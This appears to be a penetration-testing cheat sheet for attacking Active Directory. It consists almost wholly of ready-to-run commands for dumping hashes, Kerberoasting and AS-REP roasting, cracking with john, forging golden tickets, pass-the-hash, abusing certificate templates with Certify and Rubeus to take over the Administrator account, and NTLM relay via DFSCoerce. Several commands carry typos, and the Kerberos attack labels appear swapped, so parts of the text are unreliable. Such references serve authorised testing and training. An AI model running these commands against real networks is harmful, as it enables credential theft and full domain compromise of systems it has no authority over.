๐Advanced Penetration Testing
Remote extraction of AD hashes
Import-Module DSInternals
$cred=Get-Credential
Get-ADReplAccount -SamAccountName <victim username> -Server <Domain IP> -Credential $cred -Protocol TCPCarry out a Kerberos roasting
python3 GetNPUsers.py <domain/> -dc-ip <domain ip> -usersfile <username.txt> -format hashcatCrack the Hash
john <hash file> --wordlist=/usr/share/wordlists/rockyou.txtRun a no-preauthentication attack
python3 GetUserSPNs.py cybex.com/jdoe76:JDPass2021 -dc-ip <domain ip> -requestjohn <hash file> --wordlist=/usr/share/wordlists/rockyou.txtForge a golden ticket (Post Exploitation)
Prerequisite
Must be a local admin before doing this attack
Get the NT hash of Kerberos TGT
sudo python3 secretsdump.py cybex.com/aadama31:BlueMarble22@<domain ip>Extract the Domain SID
sudo python3 lookupsid.py cybex.com/aadama31:BlueMarble22@<domain ip>Forge the Golden-Ticket
sudo python3 ticket.py -nthash <krbtgt hash> -domain-sid '<domain sid>' -domain cybex.com <username to create a ticket for>Use the Golden-Ticket
export KRB5CCNAME=/usr/share/doc/python3-impacket/examples/akatt42.ccachesudo python3 psexec.py cybex.com/akatt42@<computer name> -target-ip <domain ip> -dc-ip <domain ip> -no-pass -kRunning a shadow attack
Certipy Tool
sudo pip3 install certipy-adcertipy shadow auto -u [email protected] -p Scorpion5 -dc-ip 192.168.1.5 -account adamantPass The Hash Attack
crackmapexec winrm <domain ip> -d cybex -u "adamant" -H <NT hash> -x ";hostname;whoami"Taking over the domain using rubeus (Privilege Escalation)
Identify a Vulnerable Certificate Template
certify.exe find /vulnerableRequest the Certificate
certify.exe request /ca:CA01.cybex.com\cybex-CA01 /template:PowerUser /altname:AdministratorConvert .pem file to .pfx file
openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfxRubeus
.\rebues asttgt /user:Administrator /certificate:admin.pfx /outfile:admin.tkt /pttChange the Domain Admin Password
.\rubeus changepw /new:BaronDielm4 /dc:DC01.cybex.com /targetuser:cybex.com\Administrator /tciket:admin.tktRelaying attacks to get a certificate
DFSCoerce
Set up a Man-In-The-Middle relay server
ntlmrelayx.py -smb2support -t https://192.168.1.6/certsrv/certfnsh.asp --adcs --template DomainControllerUsing DFSCoerce
python3 dfscoerce.py -u sspade -d cybex.com 192.168.1.249 192.168.1.5Decode the Certificate
cat cert64 | base64 -d > dc01.pfxExtract the Private Key hash
certipy auth -pfx dc01.pfx -dc-ip <domain ip>Using smartcards to gain privileged access
Create a Smartcard
cmd> tpmvscmgr create /name samvsc /pin default /adminkey random /generatePoshADCS
PowerView
Execute PowerView
PS> cat -raw PowerView.ps1 | iexExecute PoshADCS
PS> cat -raw ADCS.ps1 | iexCheck the Access level
Get-ADCSTemplateACL -Name PowerUser | Format-Table AceQualified,Identity,ActiveDirectoryRightsRequtst for Domain Admin
Get-SmartCardCertificate -Template Poweruser -Identity offsecCheck the virtual smart card
certiutil -scinfoSet the BloodHound loose
$ .local/bin/bloodhound-python -u jdoe76 -p JDPass2021 -ns <name server ip> -d cybex.com -c allStart neo4j
sudo neo4j consoleChange the Credentials for neo4j
Run BloodHound
bloodhoundLast updated
Was this helpful?